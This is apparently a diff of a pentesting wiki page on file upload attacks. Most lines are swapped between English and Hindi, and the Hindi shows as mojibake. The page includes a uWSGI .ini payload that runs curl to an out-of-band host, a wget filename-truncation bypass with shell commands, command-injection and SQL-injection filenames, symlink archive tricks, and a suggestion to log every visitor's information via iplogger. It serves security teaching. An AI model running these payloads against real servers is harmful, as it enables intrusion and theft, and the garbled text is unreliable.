![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -рдЗрд╕ vulnerability рдХреЗ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рдореВрд▓ рд░рд┐рд╕рд░реНрдЪ рджреЗрдЦреЗрдВ: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) vulnerabilities рдХрд╛ рдЙрдкрдпреЛрдЧ uWSGI servers рдореЗрдВ рддрдм рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдХрд┐рд╕реА рдХреЗ рдкрд╛рд╕ `.ini` configuration file рдХреЛ modify рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛред uWSGI configuration files рдПрдХ рд╡рд┐рд╢реЗрд╖ syntax рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ "magic" variables, placeholders, рдФрд░ operators рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, '@' operator, рдЬрд┐рд╕реЗ `@(filename)` рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХрд┐рд╕реА рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ include рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП design рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред uWSGI рдореЗрдВ рд╕рдорд░реНрдерд┐рдд рд╡рд┐рднрд┐рдиреНрди schemes рдореЗрдВ "exec" scheme рдХрд╛рдлреА рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рд╣реИ, рдЬреЛ рдХрд┐рд╕реА process рдХреЗ standard output рд╕реЗ рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЬрдм `.ini` configuration file рдкреНрд░реЛрд╕реЗрд╕ рдХреА рдЬрд╛рддреА рд╣реИ рддреЛ рдЗрд╕ рдлреАрдЪрд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ Remote Command Execution рдпрд╛ Arbitrary File Write/Read рдЬреИрд╕реЗ рджреБрд╖реНрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed. -рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣рд╛рдирд┐рдХрд╛рд░рдХ `uwsgi.ini` рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЙрджрд╛рд╣рд░рдг рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ, рдЬреЛ рд╡рд┐рднрд┐рдиреНрди schemes рджрд┐рдЦрд╛рддреА рд╣реИ: +Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes: ```ini [uwsgi] ; read from a symbol @@ -156,15 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -рдкреЗрд▓реЛрдб рдХрд╛ execution configuration file рдХреА parsing рдХреЗ рджреМрд░рд╛рди рд╣реЛрддрд╛ рд╣реИред Configuration рдХреЛ рд╕рдХреНрд░рд┐рдп рдФрд░ рдкрд╛рд░реНрд╕ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП, uWSGI рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдпрд╛ рддреЛ restart рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП (рд╕рдВрднрд╡рддрдГ crash рдХреЗ рдмрд╛рдж рдпрд╛ Denial of Service attack рдХреЗ рдХрд╛рд░рдг) рдпрд╛ рдлрд╝рд╛рдЗрд▓ рдХреЛ auto-reload рдкрд░ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдпрджрд┐ auto-reload рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рдпрд╣ рдкрд░рд┐рд╡рд░реНрддрди рдорд┐рд▓рдиреЗ рдкрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЕрдВрддрд░рд╛рд▓реЛрдВ рдкрд░ рдлрд╝рд╛рдЗрд▓ рдХреЛ reload рдХрд░ рджреЗрддрд╛ рд╣реИред +The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes. -рдпрд╣ рд╕рдордЭрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ uWSGI рдХреА configuration file parsing рдХрд┐рддрдиреА lax рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдпрд╣рд╛рдВ рдЪрд░реНрдЪрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ payload рдПрдХ binary рдлрд╝рд╛рдЗрд▓ (рдЬреИрд╕реЗ image рдпрд╛ PDF) рдореЗрдВ рдбрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд exploitation рдХрд╛ рджрд╛рдпрд░рд╛ рдФрд░ рдмрдврд╝ рдЬрд╛рддрд╛ рд╣реИред +рдпрд╣ рд╕рдордЭрдирд╛ рдЬрд╝рд░реВрд░реА рд╣реИ рдХрд┐ uWSGI рдХреА configuration file parsing рдХрд╛рдлреА lax рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЪрд░реНрдЪрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ payload рдХрд┐рд╕реА binary file (рдЬреИрд╕реЗ image рдпрд╛ PDF) рдореЗрдВ insert рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕рдВрднрд╛рд╡рд┐рдд exploitation рдХреА рд░реЗрдВрдЬ рдХреЛ рдФрд░ рдмрдврд╝рд╛ рджреЗрддрд╛ рд╣реИред -## **wget рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб/SSRF рдЯреНрд░рд┐рдХ** +## **wget File Upload/SSRF рдЯреНрд░рд┐рдХ** -рдХрднреА-рдХрднреА рдЖрдкрдХреЛ рдкрддрд╛ рдЪрд▓реЗрдЧрд╛ рдХрд┐ рдПрдХ server **`wget`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдлрд╝рд╛рдЗрд▓реЗрдВ рдбрд╛рдЙрдирд▓реЛрдб** рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЖрдк **URL** рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕реЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдХреЛрдб рдпрд╣ рдЬрд╛рдВрдЪ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ extension рдПрдХ whitelist рдХреЗ рдЕрдВрджрд░ рд╣реИ рддрд╛рдХрд┐ рдХреЗрд╡рд▓ рдЕрдиреБрдорддрд┐ рдкреНрд░рд╛рдкреНрдд рдлрд╝рд╛рдЗрд▓реЗрдВ рд╣реА рдбрд╛рдЙрдирд▓реЛрдб рд╣реЛрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, **рдпрд╣ рдЬрд╛рдВрдЪ bypass рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред** - -The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **"A"\*232+".php"+".gif" рдирд╛рдо рдХреА рдлрд╝рд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**, рдпрд╣ рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдЙрд╕ **check** рдХреЛ **bypass** рдХрд░ рджреЗрдЧрд╛ (рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ **".gif"** рдПрдХ **valid** extension рд╣реИ) рдкрд░ `wget` рдлрд╝рд╛рдЗрд▓ рдХрд╛ **rename** рдХрд░рдХреЗ рдЙрд╕реЗ **"A"\*232+".php"** рдмрдирд╛ рджреЗрдЧрд╛ред +рдХрднреА-рдХрднреА рдЖрдк рдкрд╛рдПрдВрдЧреЗ рдХрд┐ server **`wget`** рдХрд╛ рдЙрдкрдпреЛрдЧ **download files** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЖрдк **URL** indicate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕реЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдХреЛрдб рдпрд╣ рдЬрд╛рдБрдЪ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ downloaded files рдХреЗ extension рдПрдХ whitelist рдореЗрдВ рд╣реИрдВ рддрд╛рдХрд┐ рдХреЗрд╡рд▓ allowed files рд╣реА download рд╣реЛрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, **рдЗрд╕ check рдХреЛ bypass рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ.**\ +Linux рдореЗрдВ рдПрдХ **filename** рдХреА **maximum** length **255** рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ **wget** filenames рдХреЛ **236** characters рддрдХ truncate рдХрд░ рджреЗрддрд╛ рд╣реИред рдЖрдк **download a file called "A"\*232+".php"+".gif"** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╣ filename **check** рдХреЛ **bypass** рдХрд░ рджреЗрдЧрд╛ (рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ **".gif"** рдПрдХ **valid** extension рд╣реИ) рд▓реЗрдХрд┐рди `wget` рдлрд╝рд╛рдЗрд▓ рдХрд╛ **rename** рдХрд░ рджреЗрдЧрд╛ рдФрд░ рдЗрд╕реЗ **"A"\*232+".php"** рдирд╛рдо рджреЗ рджреЗрдЧрд╛ред ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -189,31 +188,31 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= ``` Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**. -## Tools +## рдЯреВрд▓реНрд╕ -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) рдПрдХ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рдЯреВрд▓ рд╣реИ рдЬреЛ Pentesters рдФрд░ Bug Hunters рдХреЛ file upload mechanisms рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рд╡рд┐рднрд┐рдиреНрди bug bounty рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ exploit рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ web applications рдХрд╛ thorough assessment рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛрддрд╛ рд╣реИред +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) рдПрдХ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рдЯреВрд▓ рд╣реИ рдЬреЛ Pentesters рдФрд░ Bug Hunters рдХреЛ file upload mechanisms рдХреА рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рд╡рд┐рднрд┐рдиреНрди bug bounty techniques рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ vulnerabilities рдХреА рдкрд╣рдЪрд╛рди рдФрд░ exploit рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ web applications рдХрд╛ thorough assessment рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛрддрд╛ рд╣реИред ### Corrupting upload indices with snprintf quirks (historical) -рдХреБрдЫ рдкреБрд░рд╛рдиреА upload handlers рдЬреЛ `snprintf()` рдпрд╛ рдЗрд╕реА рддрд░рд╣ рдХреЗ рддрд░реАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ single-file upload рд╕реЗ multi-file arrays рдмрдирд╛рддреА рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ `_FILES` рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдЧрд▓рддреА рд╕реЗ forge рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП trick рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред `snprintf()` рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ рдЕрд╕рдВрдЧрддрддрд╛рдУрдВ рдФрд░ truncation рдХреЗ рдХрд╛рд░рдг, рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдмрдирд╛рдП рдЧрдП рдПрдХ single upload рдХреЛ рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рдкрд░ multiple indexed files рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд╣ рд▓реЙрдЬрд┐рдХ рднреНрд░рдорд┐рдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдПрдХ рд╕рдЦреНрдд рдЖрдХрд╛рд░ рдорд╛рдирддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕реЗ multi-file upload рдорд╛рдирдХрд░ unsafe рдмреНрд░рд╛рдВрдЪ рдкрдХрдбрд╝ рд▓реЗрдирд╛)ред рдЖрдЬрдХрд▓ рдпрд╣ рдкреИрдЯрд░реНрди niche рд╣реИ, рдкрд░ рдпрд╣ рдХрднреА-рдХрднреА CTFs рдФрд░ рдкреБрд░рд╛рдиреЗ рдХреЛрдбрдмреЗрд╕ рдореЗрдВ рдлрд┐рд░ рд╕реЗ рдЙрднрд░рддрд╛ рд╣реИред +рдХреБрдЫ legacy upload handlers рдЬреЛ `snprintf()` рдпрд╛ рд╕рдорд╛рди рддрд░реАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ single-file upload рд╕реЗ multi-file arrays рдмрдирд╛рддреЗ рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ `_FILES` structure рдХреЛ forge рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП trick рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред `snprintf()` рдХреЗ inconsistent рдФрд░ truncation рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рдХрд╛рд░рдг, рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдПрдХ single upload рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рдкрд░ рдХрдИ indexed files рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд╣ logic рднреНрд░рдорд┐рдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ strict shape рдорд╛рдирддрд╛ рд╣реИ (рдЬреИрд╕реЗ, рдЗрд╕реЗ multi-file upload рдорд╛рдирдХрд░ unsafe branches рдкрд░ рдЬрд╛рдирд╛)ред рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЖрдЬ рдХреЗ рд╕рдордп рдореЗрдВ рдпрд╣ niche рд╣реИ, рдпрд╣ тАЬindex corruptionтАЭ pattern рдХрднреА-рдХрднреА CTFs рдФрд░ рдкреБрд░рд╛рдиреЗ codebases рдореЗрдВ рдлрд┐рд░ рд╕реЗ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИред -## From File upload to other vulnerabilities +## File upload рд╕реЗ рдЕрдиреНрдп рдХрдордЬреЛрд░рд┐рдпрд╛рдБ -- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** -- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** -- Set **filename** to `` to achieve a XSS -- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md)) +- **filename** рдХреЛ `../../../tmp/lol.png` рд╕реЗрдЯ рдХрд░реЗрдВ рдФрд░ **path traversal** рд╣рд╛рд╕рд┐рд▓ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ +- **filename** рдХреЛ `sleep(10)-- -.jpg` рд╕реЗрдЯ рдХрд░реЗрдВ рдФрд░ рдЖрдк **SQL injection** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ +- **filename** рдХреЛ `` рд╕реЗрдЯ рдХрд░реЗрдВ рддрд╛рдХрд┐ **XSS** рдкреНрд░рд╛рдкреНрдд рд╣реЛ рд╕рдХреЗ +- **filename** рдХреЛ `; sleep 10;` рд╕реЗрдЯ рдХрд░рдХреЗ рдХреБрдЫ **command injection** рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ (рдФрд░ [command injections tricks here](../command-injection.md)) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) - Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. +- рдпрджрд┐ рдЖрдк web server рдХреЛ рдХрд┐рд╕реА URL рд╕реЗ image рдкрдХрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк [SSRF](../ssrf-server-side-request-forgery/index.html) рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдЖрдЬрд╝рдорд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдпрд╣ **image** рдХрд┐рд╕реА **public** рд╕рд╛рдЗрдЯ рдкрд░ **saved** рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣реИ, рддреЛ рдЖрдк [https://iplogger.org/invisible/](https://iplogger.org/invisible/) рдЬреИрд╕реЗ URL рдХрд╛ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╣рд░ рд╡рд┐рдЬрд╝рд┐рдЯрд░ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдЪреБрд░рд╛ рд╕рдХрддреЗ рд╣реИрдВред - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. +- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). рдпрджрд┐ рдЖрдк PDFs upload рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдХреБрдЫ рдРрд╕рд╛ PDF рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рджрд┐рдП рдЧрдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ arbitrary JS execute рдХрд░реЗред - Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** -- Check if there is any **size limit** uploading files +- рдлрд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░рддреЗ рд╕рдордп рдХреЛрдИ **size limit** рд╣реИ рдпрд╛ рдирд╣реАрдВ рдЬрд╛рдБрдЪреЗрдВ HereтАЩs a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): @@ -240,34 +239,34 @@ https://github.com/portswigger/upload-scanner - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` -Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. +рдЕрдиреНрдп filetypes рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)ред -## Zip/Tar File Automatically decompressed Upload +## Zip/Tar рдлрд╝рд╛рдЗрд▓ рдЬреЛ рд╕рд░реНрд╡рд░ рдкрд░ рд╕реНрд╡рддрдГ рдЕрдирдкреИрдХ рд╣реЛрддреА рд╣реИ -If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things: +рдпрджрд┐ рдЖрдк рдРрд╕рд╛ ZIP upload рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд╕рд░реНрд╡рд░ рдХреЗ рдЕрдВрджрд░ decompressed рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рддреЛ рдЖрдк 2 рдЪреАрдЬрд╝реЗрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ### Symlink -Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files: +рдРрд╕реА link upload рдХрд░реЗрдВ рдЬрд┐рд╕рдореЗрдВ рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ soft links рд╣реЛрдВ, рдлрд┐рд░ decompressed рдлрд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдкрд░ рдЖрдк linked files рдХреЛ access рдХрд░ рд╕рдХреЗрдВрдЧреЗ: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### рдЕрд▓рдЧ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдореЗрдВ рдбреАрдХрдореНрдкреНрд░реЗрд╕ рдХрд░реЗрдВ +### рд╡рд┐рднрд┐рдиреНрди рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдореЗрдВ рдбреАрдХрдореНрдкреНрд░реЗрд╕ рдХрд░реЗрдВ -рдбреАрдХрдореНрдкреНрд░реЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВ рдлрд╛рдЗрд▓реЛрдВ рдХрд╛ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдирд┐рд░реНрдорд╛рдг рдПрдХ рдЧрдВрднреАрд░ рд╕рдорд╕реНрдпрд╛ рд╣реИред рд╢реБрд░реБрдЖрддреА рдзрд╛рд░рдирд╛ рдпрд╣ рд╣реЛ рд╕рдХрддреА рд╣реИ рдХрд┐ рдпрд╣ рд╕реЗрдЯрдЕрдк malicious file uploads рдХреЗ рдЬрд░рд┐рдП OS-level command execution рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдХрд░реЗрдЧрд╛, рд▓реЗрдХрд┐рди ZIP archive format рдХреА hierarchical compression support рдФрд░ directory traversal рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд╕реЗ attackers рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЯрд╛рд░рдЧреЗрдЯ рдХрд┐рдП рдЧрдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА decompression functionality рдХреЛ manipulate рдХрд░рдХреЗ secure upload directories рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓ рд╕рдХрддреЗ рд╣реИрдВред +рдбреАрдХрдореНрдкреНрд░реЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдбрд╛рдпрд░реЗрдХреНрдЯрд░реАрдЬрд╝ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдирд┐рд░реНрдорд╛рдг рдПрдХ рдЧрдВрднреАрд░ рд╕рдорд╕реНрдпрд╛ рд╣реИред рд╢реБрд░реБрдЖрддреА рдЕрдиреБрдорд╛рди рдпрд╣ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд╕реЗрдЯрдЕрдк рдореИрд▓рд┐рд╢рд┐рдпрд╕ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХреЗ рдЬрд░рд┐рдП OS-level command execution рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдХрд░реЗрдЧрд╛, рд▓реЗрдХрд┐рди ZIP archive format рдХрд╛ hierarchical compression support рдФрд░ directory traversal рдХреНрд╖рдорддрд╛рдПрдБ рджреБрд░реБрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рдЗрд╕рд╕реЗ attackers рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕реБрд░рдХреНрд╖рд┐рдд upload directories рд╕реЗ рдирд┐рдХрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рдмрд╕ рд▓рдХреНрд╖реНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА decompression functionality рдХреЛ manipulate рдХрд░рдХреЗред -рдРрд╕реА рдлрд╛рдЗрд▓реЗрдВ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ automated exploit рдЙрдкрд▓рдмреНрдз рд╣реИ: [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). рдЗрд╕ utility рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +рдРрд╕реЗ рдлрд╝рд╛рдЗрд▓реЗрдВ 